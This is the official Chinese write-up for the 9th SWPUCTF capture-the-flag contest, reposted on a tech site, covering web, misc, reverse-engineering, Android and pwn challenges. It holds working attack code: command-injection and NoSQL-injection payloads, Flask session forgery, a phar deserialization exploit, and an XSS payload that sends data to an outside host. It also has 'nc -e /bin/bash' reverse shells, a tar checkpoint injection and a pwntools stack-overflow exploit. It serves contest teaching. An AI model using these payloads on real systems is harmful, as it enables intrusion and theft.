第九届SWPUCTF官方writeup

栏目: Python · 发布时间: 5年前

内容简介:平台地址:感谢各位师傅能在工作上课之余抽出时间来玩,我们也希望这次比赛各位师傅玩得开心,但可能由于我们水平有限,资金支持有限,不能给各位师傅最好的体验,打比赛不易,办比赛也不易,希望各位师傅多多谅解

第九届SWPUCTF官方writeup

平台地址: https://swpuctf.club

感谢各位师傅能在工作上课之余抽出时间来玩,我们也希望这次比赛各位师傅玩得开心,但可能由于我们水平有限,资金支持有限,不能给各位师傅最好的体验,打比赛不易,办比赛也不易,希望各位师傅多多谅解

WEB

用优惠码 买个 X ?

这道题难度不大(从各位师傅的做题速度就可以看出来 笑哭~)

但还是给有需要的师傅说一下我的思路

第一个random.php页面 php 伪随机数

初始时给一个15位的优惠码 但需要你输入24位的优惠码才行

通过对目录扫描 发现www.zip 这里存在生成优惠码的源码和第二个页面的源码

通过现有优惠码和对源码进行反推 获得生成的随机数 然后拿着这些随机数进行种子爆破

可以使用php_mt_seed这款 工具 进行爆破 但是需要一定的格式 我附上我写的代码

<?php
$str = 'MiFgJ3paOh6LjrY';
$randstr = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$len=15;
for($i=0;$i<$len;$i++){
        if($i<=($len/2)){
                $pos = strpos($randstr,$str[$i]);
                echo $pos." ".$pos." "."0 ".(strlen($randstr)-1)." ";
        }
        else{
                $pos = strpos($randstr,$str[$i],-0);
                                echo (strlen($randstr))-$pos;
                                echo " ";
                                echo (strlen($randstr))-$pos;
                                echo " ";
                                echo "0 ";
                                echo (strlen($randstr)-1);
                                echo " ";
        }
}
echo "n";
?>

再用php_mt_seed爆破:

./share/php_mt_seed-4.0/php_mt_seed `php create_seed.php`

我电脑大概10多秒就爆出来了

然后再改下我的源码 把 len改成24 再手动播种 即可获得24位的优惠码

注意:这里有坑点的 有些师傅不慎就踩进去了(笑哭~) php版本不同,同一种子生成的随机数序列不一样,

就算是php7.0和php7.2都有区别 我的php版本是7.2.9-1(从响应包中能看见)

所以用php7.2的执行生成优惠码的php脚本 就能获取到优惠码

然后进入到第二个页面-绕过

第一层绕过是因为m修饰符

php官方的解释:

当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 “n” 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。

也就是说 ^和$会匹配 字符串中n之前和之后,也会匹配整个字符串的开始和结尾,但是只要匹配到一个就会返回正确

所以可以通过%0a来绕过

下一层绕过 就简单了

要想读到/flag中的内容 但是flag字符串也被过滤了

可以以通过 f’la’g 或f[l][a]g等来绕过

最终payload就类似于 127.0.0.1%0ac’a’t /f’la’g

至此,结束

injection ???

如题,这是一道注入题,但并没有说这是 sql注入题 ,比赛过程中看了下日志,不少师傅一来就先入为主了,各种 sql 注入的payload,题本身没啥难度,只要发现这是 Nosql注入 ,就很简单了,其次就是验证码的问题,这个可以用 python 3的pytesseract库识别,当然也可以手工注入,这一点有些影响各位师傅的做题体验(

已被队友暴打

)

第九届SWPUCTF官方writeup

题目很简单就一个页面,登录框,F12查看页面源码:

第九届SWPUCTF官方writeup

被注释了一行tips:

<!-- tips:info.php -->

访问 info.php 是一个phpinfo页面,仔细观察重点在phpinfo里的扩展:

第九届SWPUCTF官方writeup

很直观,php开启了mongo扩展,大胆猜测是 mongodb 注入,尝试构造payload:

http://123.206.213.66:45678/check.php?username[$ne]=xxx&password[$ne]=xxx&vertify=xxxx

返回提示 Nice!But it is not the real passwd ,可以确定就是nosql注入了,那就很好办了,拿到正确密码,这里可以通过mongodb的条件操作符 $regex 来用正则匹配达到类似sql盲注逐字符猜解的效果,最终payload:

http://123.206.213.66:45678/check.php?username[$ne]=xxx&password[$regex]=^xxx&vertify=xxxx

以下是 4uuu Nya 师傅的脚本

import pytesseract
from PIL import Image
import requests
import os
import string

password = ''
string_list = string.ascii_letters + string.digits

s = requests.Session()

for i in range(32):
    for j in string_list:
        res = s.get('http://123.206.213.66:45678/vertify.php')
        image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
        with open(image_name, 'wb') as file:
            file.write(res.content)
        image = Image.open(image_name)
        code = pytesseract.image_to_string(image)
        res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
        while ('CAPTCHA' in res.content):
            res = s.get('http://123.206.213.66:45678/vertify.php')
            image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
            with open(image_name, 'wb') as file:
                file.write(res.content)
            image = Image.open(image_name)
            code = pytesseract.image_to_string(image)
            res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
        print password+j,res.content
        if 'Nice!But it is not the real passwd' in res.content:
            password += j
            print password
            break
        elif 'username or password incorrect' in res.content:
            continue
print passwd

皇家线上赌场

查看首页源码,可以看到 /static?file=test.js/source

第九届SWPUCTF官方writeup

访问 /source ,可以看到项目结构,和一段python源码,从目录结构推测出是flask,并且题目应该是读源码:

第九届SWPUCTF官方writeup

而正好前面还有一个 /static?file= 的路由,因此得出应该从这里来读取文件,再看 /source 中的代码,

filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
    return abort(403)
filename = os.path.join('app/static', filename)

以及tip给的

if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
    return abort(404)

不能使用 .. 并且会把文件名拼接到 app/static 后面,

这里利用到 os.path.join 函数的一个特性,

参数中的绝对路径参数前面的所有参数会被忽略,看例子:

第九届SWPUCTF官方writeup

通过maps文件 /proc/self/maps 看到web路径

第九届SWPUCTF官方writeup

尝试读取源码 /home/ctf/web_assli3fasdf/app/views.py ,报404,这里有点脑洞,我把路径转换成了绝对路径并做了一个过滤,禁止直接访问文件,因此需要进行绕过,这里用到了 /proc/self/cwd 目录,这个目录指向了当前进程的工作路径,而我在前面给了一个 os.path.join('app/static', filename) ,由此可知当前路径就是源码所在目录,因此构造访问 /static?file=/proc/self/cwd/app/views.py ,成功读到文件:

第九届SWPUCTF官方writeup

第九届SWPUCTF官方writeup

init .py 中发现密钥,结合泄露出来的代码,那就是伪造session了,将 username 改为 admin,这样我的账号信息就会成为 admin ,每次请求就会把 admin 的账户余额读出来,然后去购买页面随意买一个东西,余额就会刷新

chg_session.py :

from flask.sessions import SecureCookieSessionInterface

class App(object):
    secret_key = '9f516783b42730b7888008dd5c15fe66'

s = SecureCookieSessionInterface().get_signing_serializer(App())
u = s.loads('eyJjc3JmX3Rva2VuIjoiMzgyMWRlNmFlMTRmNjc2NjU0YWNhMjZjYTQ1MzY4Y2Y3NjI2MzI1NSJ9.XBpHyw.9S0EAg9_yQKg7D3xqPp08eMIeH8')
u['username'] = 'admin'
print(s.dumps(u))

成功变身为admin

第九届SWPUCTF官方writeup

点击admin处,出现获取flag的按钮,点击弹框显示一段json数据

用burp抓包,可以看到filed字段为username,读一下前面获取的源码可知,这是python的format函数的问题,而且在 before_request 函数中有个 g.flag = xxxxxxxxx ,那就是需要通过format将flag读取出来

第九届SWPUCTF官方writeup

这里有两种方法,我本意是通过对flask的了解,进行跳转,最终读取到flag变量,但是还有一种万能解法,就是写脚本进行遍历,直到找到flag变量。这里我只说一下第一种,第二种我就不写脚本了,有兴趣可以写一下,在沙盒逃逸也可以用。

从前面读到的 __init__.py 文件可以清楚地知道使用了flask_sqlalchemy

首先看一下flask源码:

flask/__init__.py

from .app import Flask, Request, Response
from .config import Config
from .helpers import url_for, flash, send_file, send_from_directory, 
     get_flashed_messages, get_template_attribute, make_response, safe_join, 
     stream_with_context
from .globals import current_app, g, request, session, _request_ctx_stack, 
     _app_ctx_stack

flask_sqlalchemy/__init__.py

from flask import _app_ctx_stack, abort, current_app, request

可以看到app、g、current_app在同一个空间下面,而current_app和SQLAlchemy在同一空间中,因此只要读到current_app变量,那么g变量也就读到了。

再来看一下 __init__.py 的源码:

from .models import db


def create_app():
    app = Flask(__name__, static_folder='')
    app.secret_key = 'anUEALvo7fV3KdwwiEYd'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'
    register_views(app)
    db.init_app(app)
    return app

可以看到db变量,这是一个SQLAlchemy的实例,format中传入的第二个变量u是User的实例,我们可以通过u的一个方法访问models.py这个空间的db变量,这里我给了一个提示 “save方法”,那是因为User类没有定义 __init__ 方法,而是继承自 db.Model ,因此不能访问到db变量。看到这里就很清晰了,构造出 field=save.__globals__[db].__init__.__globals__.current_app.route.__globals__[g].flag 即可打出flag (这里的payload有很多,可以根据源码来构造比如使用BaseQuery也可以: field=query.get_or_404.__globals__[current_app].route.__globals__[g].flag

第九届SWPUCTF官方writeup

SimplePHP

题目地址: http://120.79.158.180:11115/index.php

这道题的主要考察点是:

题目描述

题目页面如下:

第九届SWPUCTF官方writeup

经过测试得知,网站具有如下两个功能:

上传文件
查看文件源码

文件上传位置在: upload_file.php

查看相关源码在: file.php

题目主要代码

file.php

<?php
header("content-type:text/html;charset=utf-8"); 
include 'function.php';
include 'class.php';

$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
    $show->source = $file;
    $show->_show();
} else if (!empty($file)){
    die('file doesn't exists.');
}
?>

function.php

<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(E_ERROR | E_PARSE);
foreach (array('_COOKIE','_POST','_GET') as $_request)  
{  
    foreach ($$_request as $_key=>$_value)  
    {   
        $$_key=  addslashes($_value);
    }  
}
function upload_file_do() {
    global $_FILES;
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    //mkdir("upload",0777);
    if(file_exists("upload/" . $filename)) {
        unlink($filename);
    }
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
    global $_FILES;
    if(upload_file_check()) {
        upload_file_do();
    }
}
function upload_file_check() {
    global $_FILES;
    $allowed_types = array("gif","jepg","jpg","png");
    $temp = explode(".",$_FILES["file"]["name"]);
    $extension = end($temp);
    if(empty($extension)) {
        //echo "<h4>请选择上传的文件:" . "<h4/>";
    }
    else{
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo '<script type="text/javascript">alert("Invild file!");</script>';
            return false;
        }
    }
}
?>

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

按照base.php的提示,flag就在 f1ag.php 中,那么就要想法通过读取f1ag.php文件来获取flag。

而整个代码中只有两个函数可以获取文件的内容: class.php 中的 highlight_file()file_get_contents()

但是在代码中又做了如下限制:

_show

所以最后只有从 file_get_contents() 函数入手。

因为又没有 serialize()unserialize() 函数,所以就没有办法直接触发 file_get_contents() 所在的 Test 类,那么就只有通过其他方法来调用 Test

结合文件上传的功能点,我们不难想到用上传phar包来触发反序列化漏洞。

在phar触发反序列化漏洞有一下要求:

  • 存在文件操作函数,例如 file_exits()file_get_contents() 等等, 且其中的参数可控
  • 在类中存在 __destruct 方法
  • 可上传phar构造文件

而我们题目正好符合这以上几点要求:

file.php中存在 file_exits() ,且 $file 可控

<?php
//code...
$show = new Show();
if(file_exists($file)) {
    $show->source = $file;
    $show->_show();
} 
//code...
?>

class.php中存在 __destruct() 方法

class C1e4r
{
    //code...
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

function.php中存在 文件上传

function upload_file_do() {
    global $_FILES;
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    //mkdir("upload",0777);
    if(file_exists("upload/" . $filename)) {
        unlink($filename);
    }
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    echo '<script type="text/javascript">alert("上传成功!");</script>';
}

3个条件已经满足,那么接下来就是需要构造pop链了

pop链分析

1. file_get_contents() 存在 Test 类中的 file_get() 方法,该方法在 get 中被调用,而 get__get 魔法方法的重写。

public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

__get 方法是在访问一个类不存在或者是不可访问的变量是会触发。下一步就是要想办法触发 __get

2.在 Show 类的 __toString 魔术方法中

public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }

存在 $this->str['str']->source ,如果 $this->str['str']Test 类的话,那么就会访问不存在的 source 变量,这里就可以调用 __get 方法。接下来就是要触发 __toString 方法(当一个对象被当做字符串时调用)

3.而恰好在 C1e4r__destruct 中echo了一个变量, __toSting 方法就可以用上

public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }

至此,我们的pop链就形成了。

exp构造

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params = array('source' => 'var/www/html/f1ag.php');
}

    @unlink("c1e4r.phar");
    $phar = new Phar("c1e4r.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $p1 = new C1e4r();
    $p2 = new Show();
    $p2->str = array('str'=>new Test());
    $p1->str = $p2;

    $phar->setMetadata($p1); 
    var_dump($phar->getMetadata());
    $phar->addFromString("test.txt", "c1e4r"); 
    //签名自动计算
    $phar->stopBuffering();
?>

上传后保存的文件名是

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

ip在题目页面右上角有显示。

上传成功后,访问:

file.php?file=phar://upload/文件名 ,base64解码后获得flag

第九届SWPUCTF官方writeup

<?php
    $flag = 'SWPUCTF{Php_un$eri4liz3_1s_Fu^!}';
?>

有趣的邮箱注册

check.php右键发现源码有php

<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>

于是提交payload

"aaa><script/src=http://sp4rk.cn:6324/duyuanma.js</script>"@a.aaa
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/admin.php', false);
a.send(null);
b = a.responseText;
location.href = 'http://t15em7.ceye.io/d' + escape(b);

第九届SWPUCTF官方writeup

可以看到admin/a0a.php下面有个命令执行,于是弹shell

var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+118.89.56.208+6325', false);
a.send(null);
b = a.responseText;
location.href = 'http://t15em7.ceye.io/' + escape(b);

第九届SWPUCTF官方writeup

第九届SWPUCTF官方writeup

第九届SWPUCTF官方writeup

上层的根目录有个4f0a5ead5aef34138fcbf8cf00029e7b,访问下

第九届SWPUCTF官方writeup

这里有个上传和备份文件

第九届SWPUCTF官方writeup

发现经过tar *处理,于是上传文件

第九届SWPUCTF官方writeup

第九届SWPUCTF官方writeup

—checkpoint=1

—checkpoint-action=exec=sh exp.sh

exp.sh

nc -e /bin/bash 118.89.56.208 6325

第九届SWPUCTF官方writeup

MISC

1、一般思路,拖到winhex看看源码,ctrl+f,然后flag,回车,在末尾发现有一半flag

第九届SWPUCTF官方writeup

2、图片长宽被改过后在 linux 里面用display是查看不了的,会报错

第九届SWPUCTF官方writeup

所以修改高度,在底部可以看到另一半flag

第九届SWPUCTF官方writeup

修改这个位置,这里修改为02ff

第九届SWPUCTF官方writeup

看到另一半flag

唯有低头,才能出头

提示:举头望明月,低头…

意思就是看键盘….

打开记事本,有一串数字 99 9 9 88 11 5 5 66 3 88 3 6 555 9 11 4 33

99对应的是 l

9对应 o 依次类推,

最后获得 swpuctf{lookatthekeyboard}

流量签到题

简单的流量题

用Wireshark打开流量包,查找flag

第九届SWPUCTF官方writeup

RE

解密代码都放云盘:

链接: https://pan.baidu.com/s/1vP86jBhLsQRJGCRJtyEKzw

提取码:tqiz

原理很简单:

第九届SWPUCTF官方writeup

这个开始想法是想写压缩,后来改成了加密,原理就是把开始和结尾的0全部去掉,如果开始有重复的1就删掉只剩下一个1(因为sar指令高位不变,所以留一个1来还原重复的1)。然后用这几个表来保存一下进行操作的位数,这些表都是bit进行拼接形成,还原时候分别用shr,shl,sar就行了。

这道题放了一些假的check函数来迷惑,流程是首先将存放wsprintf函数的返回地址处的堆栈地址作为了第一个参数,第三个参数就是要跳转的地址,这样调用wsprintf就会转到00401360处执行,这是以前在看雪看到的一个方法,具体文章链接没有保存。

第九届SWPUCTF官方writeup

到00401360看下:

第九届SWPUCTF官方writeup

这里故意产生了一个异常,然后我在一个C++类的全局对象的构造函数去HOOK了KiUserExceptionDispatcher中的调用异常handler的call

第九届SWPUCTF官方writeup

然后在hook函数中进行加密,并且将加密后的存放在了ExceptionInfo->ExceptionRecord->ExceptionInformation中,接着走一下VEH,SEH再进行一次加密,就是一个base64,然后在设置了下TopLevelExceptionFilter,将数据传递到各个寄存器,再设置eip返回到真正的check函数。

第九届SWPUCTF官方writeup

check函数再通过push ret来返回到main的打印的地方。整个流程就是这样,算法很简单。

GOOD_GAME

这道题是用傀儡进程技术,没做太多处理,容易找到dump点,可以直接dump出来真正的exe文件。

第九届SWPUCTF官方writeup

真正的exe是D3D绘制的界面,通过字符串[Enter]可以跟踪到获取输入以及返回上一层的地。

第九届SWPUCTF官方writeup

这里用了’ – ’符来分割string,然后保存到vector中。并且判断vector中string的个数是否是4以及每一个string的长度是否是4.

第九届SWPUCTF官方writeup

第九届SWPUCTF官方writeup

接着传入前面两部分进行一次加密,可以根据常量识别出这是DES算法,这里把DES的subkeys进行了一次移位,并且修改了sbox3开头的5个字节,然后把结尾结果减去0x10,之后再进行一个简单的方程check。解方程可以得到另外两部分是个常量。

DES部分可以网上找个标准的DES把这几部分改一下就能解出FLAG:HOPE-UCAN-GOOD-GAME

Paper tiger

这道题算法很简单,主要是用了自己写的一个变形乱序引擎进行改变一下。这里可以对ShowWindow下断,回溯找到check点,这里可以先清除花指令(一共4种,很容易识别出来,都是固定字节),这里转移指令没有用表进行加密而是直接放的jmp xxx ,call xxx ,push xxx ret这三种类型,对于变形代码也只是处理了一些mov reg,常量 push xxx这些,不影响算法部分。

这里可以下内存访问断点单步跟出算法,原本的思路是想师傅们恢复一下乱序再适当恢复点变形,但是这样可能工作量过大,就没有对算法部分的指令进行变形,只是对验证算法的一条mov ecx,5进行了变形,但是动态跟还是很容易看出来。

我这里的做法没有下访问断点跟,而是用OD脚本简单恢复了下乱序,然后定位关键代码去看看。

OD脚本去跑一下trace清除一下所有的nop和乱序指令,再对输入部分的长度和内容都下一个内存访问断点。

第九届SWPUCTF官方writeup

可以来到这个地方,再到od 脚本跑的trace中去定位一下这个位置,就可以开始分析了,最后可以提取出整个算法。OD脚本和跑出来的trace以及分析的code和解密代码放在附件。

MOBILE

基础android

先找到入口活动

第九届SWPUCTF官方writeup

解压apk然后把dex文件放到jadx-gui里面,找到对应活动

第九届SWPUCTF官方writeup

可以看到这里有一个checkPassword()函数验证我们的输入

查看checkPassword()函数

第九届SWPUCTF官方writeup

先判断输入长度,然后再进行一个简单的循环,可以自己写一个脚本找到正确输入

第九届SWPUCTF官方writeup

然后进入到第二个界面

第九届SWPUCTF官方writeup

可以看到这是把我们的输入作为广播发送出去,那么可以看到在AndroidManifest.xml文件里面注册了一个广播接收器

第九届SWPUCTF官方writeup

这就是第二个输入,然后就可以看到带flag的图片了

第九届SWPUCTF官方writeup

Android2.0

把dex文件放到jadx-gui里面

第九届SWPUCTF官方writeup

第九届SWPUCTF官方writeup

可以看到将我们的输入作为参数调用jni方法,如果返回1就正确,返回0则失败

那么把so文件放到IDA中,找到相关函数

第九届SWPUCTF官方writeup

查看First()函数

第九届SWPUCTF官方writeup

自己写一个脚本解码

第九届SWPUCTF官方writeup

就可以解出flag了

BIN

easy_exp

一个格式化字符串,一个栈溢出。

先用格式化泄漏出 libc 基地址和 heap 栈地址。通过 libc 获得一个 one_gadget,通过 heap 获得目标地址。

然后是 motto 处,先是输入长度时如果长度为负那么会对长度进行求补,-9223372036854775808的补数是本身,这样就可以实现输入一串很长的字符串造成栈溢出了。

然后这里还要绕过 Canary,我们这里用c++异常处理来绕过,直接触发异常,unwind 时是不检测 Canary 的,这样就绕过了Canary 了。

from pwn import *

# io = process("./exploit_1")
io = remote("118.25.216.151", 10001)
elf = ELF("./exploit_1", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

puts_got    = elf.got["puts"]
puts_plt    = elf.plt["puts"]
read_plt    = elf.plt["read"]
read_addr   = 0x400BF5

rdi_ret     = 0x400fa3
rsi_r15_ret = 0x400fa1

# context.log_level = "debug"

# -------- leak info --------
io.recvuntil("please input name:n")
io.send("%p/%p/%p/%p/%p/%p/!%p/n")

io.recvuntil("/")
libc_base = int(io.recvuntil("/")[:-1], 16) - 0x3C6780
io.recvuntil("/!")
heap_base = int(io.recvuntil("/")[:-1], 16)
info("libc base: " + hex(libc_base))
info("heap base: " + hex(heap_base))

# -------- exploit --------
one_gadget = libc_base + 0x45216
info("one_gadget: " + hex(one_gadget))
pivote_addr = heap_base + 0x20
info("pivote addr: " + hex(pivote_addr))
unwind_addr = 0x400EC5

payload  = "aaaaaaaa"
payload += p64(one_gadget)
payload  = payload.ljust(0x410, 'x00')

io.recvuntil("please input size of motto:n")
io.sendline("-9223372036854775808")
io.recvuntil("please input motto:n")
io.send(payload + p64(pivote_addr) + p64(unwind_addr))
io.send("n")

io.interactive()
io.close()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Java算法

Java算法

塞奇威克 / 赵文进 / 清华大学出版社 / 2004-06-01 / 59.0

《Java算法》用Java语言全面实现了当今最重要的计算机算法,并用大量图表和数学公式对算法进行了详尽的描述和分析。全书共分3卷,本书是其中的第1卷(第1至第4部分)。内容包括基本概念(第1部分)、数据结构(第2部分)、排序算法(第3部分)和查找算法(第4部分)。本书概念清楚,内容翔实,新颖,由浅入深地描述了算法。本书可作为高等院校计算机相关专业本科生和研究生的教材和补充读物,也可作为Java爱好一起来看看 《Java算法》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具